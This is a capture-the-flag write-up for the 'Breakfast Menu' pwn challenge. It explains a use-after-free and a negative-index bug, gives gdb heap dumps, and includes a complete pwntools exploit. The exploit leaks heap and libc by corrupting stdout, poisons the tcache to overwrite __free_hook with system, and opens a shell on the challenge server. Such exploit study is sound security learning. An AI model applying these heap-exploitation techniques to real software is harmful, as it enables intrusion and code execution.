## Breakfast Menu
> Points: 250>> Solves: 32
### Description:> I’m awfully hungry, with all these options to choose from, what should I order?>> Connect> nc breakfast.sdc.tf 1337>> By green beans### Attachments:> BreakfastMenu> > Dockerfile
## Analysis:
There are three functions, `Create`, `Edit`, and `Delete`, and there is no display function. Finding vulnerabilities is relatively easy, so the point is how to leak the `libc` address.
```1. Create a new order2. Edit an order3. Delete an order4. Pay your bill and leave```
There are the following two vulnerabilities.- There is a `UAF` vulnerability because the pointer is not cleared after free the area with the `Delete` function.- The `Edit` and `Delete` functions do not check for negative indexes. By using this, the area with the index value `-12` and `_IO_2_1_stdout_` can be rewritten, so the `heap` and the `libc` address can be leaked.
```c    if (local_18 != 3) break;    puts("which order would you like to remove");    fflush(stdout);    __isoc99_scanf(&DAT_00400cd5,&local_18);    getchar();    if (local_18 < local_14) {                          <--- Not checking for negative index values      free(*(void **)(orders + (long)local_18 * 8));    }    else {      puts("Order doesn\'t exist!!!");      fflush(stdout);    }```
```c    if (local_18 < local_14) {                          <--- Not checking for negative index values      free(*(void **)(orders + (long)local_18 * 8));    <--- Not clearing the pointer after free    }    else {      puts("Order doesn\'t exist!!!");      fflush(stdout);    }```## Solution:
In the local environment, we can leak the `libc` address as shown below by rewriting `_IO_write_base` to `0x602010`, but this was not possible in the server environment.
```pythonEdit(-12, p32(0xfbad3a87)+"\x01"*0x1c+p64(0x602010))```
```gdb-peda$ p _IO_2_1_stdout_$1 = {  file = {    _flags = 0xfbad2a84,     _IO_read_ptr = 0x603260,     _IO_read_end = 0x603260,     _IO_read_base = 0x603260,     _IO_write_base = 0x603260,  <-　Rewriting this value    _IO_write_ptr = 0x603260,     _IO_write_end = 0x603260,     _IO_buf_base = 0x603260,     _IO_buf_end = 0x603660, ```
An example of outputting the `GOT` area in the local environment. I don't know the cause, but the server environment doesn't work.```    00000000  73 6f 20 79  6f 75 20 77  61 6e 74 65  64 20 87 3a  │so y│ou w│ante│d ·:│    00000010  ad fb 01 01  01 01 01 01  01 01 01 01  01 01 01 01  │····│····│····│····│    00000020  01 01 01 01  01 01 01 01  01 01 01 01  01 01 10 20  │····│····│····│··· │    00000030  60 f0 a8 de  f7 ff 7f 00  00 c6 06 40  00 00 00 00  │`···│····│···@│····│    00000040  00 00 82 a9  f7 ff 7f 00  00 70 29 a6  f7 ff 7f 00  │····│····│·p)·│····│    00000050  00 40 6e a4  f7 ff 7f 00  00 10 0e b7  f7 ff 7f 00  │·@n·│····│····│····│    00000060  00 d0 0a a6  f7 ff 7f 00  00 a0 9e a6  f7 ff 7f 00  │····│····│····│····│    00000070  00 36 07 40  00 00 00 00  00 90 07 a6  f7 ff 7f 00  │·6·@│····│····│····│    00000080  00 70 de a5  f7 ff 7f 00  00 66 07 40  00 00 00 00  │·p··│····│·f·@│····│    00000090  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│    000000a0  00 60 e7 dc  f7 ff 7f 00  00 00 00 00  00 00 00 00  │·`··│····│····│····│    000000b0  00 00 da dc  f7 ff 7f 00  00 00 00 00  00 00 00 00  │····│····│····│····│    000000c0  00 87 3a ad  fb 01 01 01  01 01 01 01  01 01 01 01  │··:·│····│····│····│    000000d0  01 01 01 01  01 01 01 01  01 01 01 01  01 01 01 01  │····│····│····│····│    000000e0  01 10 20 60  00 00 00 00  00 0a 00 00  00 00 00 00  │·· `│····│····│····│    000000f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│```
The following is an excerpt from the `Dockerfile`, which may be due to running on `nsjail`.```    socat \      TCP-LISTEN:1337,reuseaddr,fork \      EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/BreakfastMenu"```
However, if the lower 1 byte of `_IO_write_base` is rewritten to `NULL`, only the following heap area can be output even in the server environment.```0x603200:	0x0000000000000000	0x00000000000000000x603210:	0x0000000000000000	0x00000000000000000x603220:	0x0000000000000000	0x00000000000000000x603230:	0x0000000000000000	0x00000000000000000x603240:	0x0000000000000000	0x00000000000000000x603250:	0x0000000000000000	0x0000000000000411  <- The server environment is 0x111 instead of 0x411.0x603260:	0x7461657243202e0a	0x2077656e206120650x603270:	0x2e320a726564726f	0x6e612074696445200x603280:	0x330a726564726f20	0x6574656c6544202e```
An example of outputting with `context.log_level ='debug'` of `Pwntools````    00000000  73 6f 20 79  6f 75 20 77  61 6e 74 65  64 20 87 3a  │so y│ou w│ante│d ·:│    00000010  ad fb 01 01  01 01 01 01  01 01 01 01  01 01 01 01  │····│····│····│····│    00000020  01 01 01 01  01 01 01 01  01 01 01 01  01 0a 00 00  │····│····│····│····│    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│    *    00000080  00 00 00 00  00 00 11 10  00 00 00 00  00 00 31 2e  │····│····│····│··1.│    00000090  20 43 72 65  61 74 65 20  61 20 6e 65  77 20 6f 72  │ Cre│ate │a ne│w or│    000000a0  64 65 72 0a  32 2e 20 45  64 69 74 20  61 6e 20 6f  │der·│2. E│dit │an o│    000000b0  72 64 65 72  0a 33 2e 20  44 65 6c 65  74 65 20 61  │rder│·3. │Dele│te a│    000000c0  6e 20 6f 72  64 65 72 0a  34 2e 20 50  61 79 20 79  │n or│der·│4. P│ay y│    000000d0  6f 75 72 20  62 69 6c 6c  20 61 6e 64  20 6c 65     │our │bill│ and│ le│```
Since the above limited area contains `tcachebin` of `0x3c0` size, we can leak the heap address by creating a chunk of `0x3c0` size in another area and freeing it.
```pythonfor i in range(6):  Create()Delete(4)Delete(5)Edit(5, "\x00")Create()Create()Edit(2, "A"*0x18+p64(0x3c1))Delete(7)```
State of heap memory after executing `Delete(7)````0x604670:	0x0000000000000000	0x00000000000000310x604680:	0x0000000000000000	0x00000000000000000x604690:	0x0000000000000000	0x00000000000000000x6046a0:	0x0000000000000000	0x00000000000000310x6046b0:	0x0000000000000000	0x00000000000000000x6046c0:	0x0000000000000000	0x00000000000000000x6046d0:	0x0000000000000000	0x00000000000000310x6046e0:	0x4141414141414141	0x41414141414141410x6046f0:	0x4141414141414141	0x00000000000003c10x604700:	0x0000000000000000	0x00000000006030100x604710:	0x0000000000000000	0x00000000000000000x604720:	0x0000000000000000	0x00000000000000000x604730:	0x0000000000000000	0x00000000000000310x604740:	0x0000000000000000	0x00000000006030100x604750:	0x0000000000000000	0x00000000000000000x604760:	0x0000000000000000	0x00000000000000310x604770:	0x0000000000604700	0x00000000000000000x604780:	0x0000000000000000	0x00000000000000000x604790:	0x0000000000000000	0x000000000001f871```
The heap address(`0x604700`) can be put in the `tcachebin` of `0x3c0`, so the heap address can be leaked.```gdb-peda$ x/100gx 0x6032000x603200:	0x0000000000000000	0x00000000000000000x603210:	0x0000000000000000	0x00000000000000000x603220:	0x0000000000604700	0x0000000000000000  <- This 0x604700 can be leaked.0x603230:	0x0000000000000000	0x00000000000000000x603240:	0x0000000000000000	0x00000000000000000x603250:	0x0000000000000000	0x00000000000004110x603260:	0x7920796150202e34	0x6c6c69622072756f0x603270:	0x61656c20646e6120	0x6e612074690a6576
pwndbg> binstcachebins0x3c0 [  1]: 0x604700 ◂— 0x0```
If we know the heap address, we can create a fake `chunk` in the above area, so we can leak the `libc` address as shown below.
```0x603200:	0x0000000000000000	0x00000000000000000x603210:	0x4141414141414141	0x00000000000014610x603220:	0x00007ffff7dcdca0	0x00007ffff7dcdca0  <- This 0x7ffff7dcdca0 can be leaked.0x603230:	0x0000000000000000	0x00000000000000000x603240:	0x0000000000000000	0x00000000000000000x603250:	0x0000000000000000	0x00000000000004110x603260:	0x7461657243202e0a	0x2077656e206120650x603270:	0x2e320a726564726f	0x6e61207469644520```The `python` code for the `libc` leak```python# Make large chunk in tcacheDelete(0)Delete(1)Edit(1, p64(heap_base + 0x210))Create()Create()Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))
Delete(0)Delete(1)Edit(1, p64(heap_base + 0x220))Create()Create()
# libc leakDelete(11)```
If we can leak the `libc` address, we can easily write the `__free_hook` to the `tcachebin` using the `Edit` function. Similarly, we can write the address of the `system` function to `__free_hook`, so we can start `/bin/sh` by freeing the `chunk` that wrote `/bin/sh`.
## Exploit code:The Exploit code is below.```pythonfrom pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './BreakfastMenu'elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "breakfast.sdc.tf"  PORT = 1337  s = remote(HOST, PORT)  heap_offset = 0x2300else:  s = process(BINARY)  heap_offset = 0x1700libc = elf.libc
def Create():  s.sendlineafter("leave\n", "1")
def Edit(idx, data):  s.sendlineafter("leave\n", "2")  s.sendlineafter("modify\n", str(idx))  s.sendlineafter("order?\n", data)
def Delete(idx):  s.sendlineafter("leave\n", "3")  s.sendlineafter("remove\n", str(idx))
for i in range(6):  Create()
# Make fake chunk sizeof 0x3c0 for heap leakingDelete(4)Delete(5)Edit(5, "\x00")Create()Create()Edit(2, "A"*0x18+p64(0x3c1))
# Heap leakDelete(7)Edit(-12, p32(0xfbad3a87)+"\x01"*0x1b)
s.recvuntil("\x00"*0x20)heap_leak = u64(s.recv(8))heap_base = heap_leak - heap_offsetprint "heap_leak =", hex(heap_leak)print "heap_base =", hex(heap_base)
# Make large chunk in tcacheDelete(0)Delete(1)Edit(1, p64(heap_base + 0x210))Create()Create()Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))
Delete(0)Delete(1)Edit(1, p64(heap_base + 0x220))Create()Create()
# libc leakDelete(11)Edit(-12, p32(0xfbad3a87)+"\x01"*0x1b)s.recvuntil("A"*8)s.recv(8)libc_leak = u64(s.recv(8))libc_base = libc_leak - libc.sym.__malloc_hook - 0x70free_hook   = libc_base + libc.sym.__free_hooksystem_addr = libc_base + libc.sym.systemprint "libc_leak =", hex(libc_leak)print "libc_base =", hex(libc_base)
# Write __free_hook in tcacheDelete(0)Delete(1)Edit(1, p64(free_hook))
# Write system address in __free_hookCreate()Create()Edit(13, p64(system_addr))
# Start system("/bin/sh")Edit(3, "/bin/sh\x00")Delete(3)
s.interactive()```
## Results:The execution result is as follows.```bashmito@ubuntu:~/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250$ python solve.py r[*] '/home/mito/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250/BreakfastMenu'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to breakfast.sdc.tf on port 1337: Done[*] '/lib/x86_64-linux-gnu/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledheap_leak = 0x880300heap_base = 0x87e000libc_leak = 0x7fc8441e3ca0libc_base = 0x7fc843df8000[*] Switching to interactive mode$ iduid=1000(user) gid=1000(user) groups=1000(user)$ ls -ltotal 28-rwxr-xr-x 1 nobody nogroup 13000 May  6 22:02 BreakfastMenu-rw-r--r-- 1 nobody nogroup  2405 May  5 18:23 BreakfastMenu.c-rw-r--r-- 1 nobody nogroup   105 Apr 29 20:55 Makefile-rw-r--r-- 1 nobody nogroup    42 May  6 22:01 flag.txt$ cat flag.txtsdctf{Th3_m05t_1Mp0Rt4nT_m34L_0f_th3_d4Y}```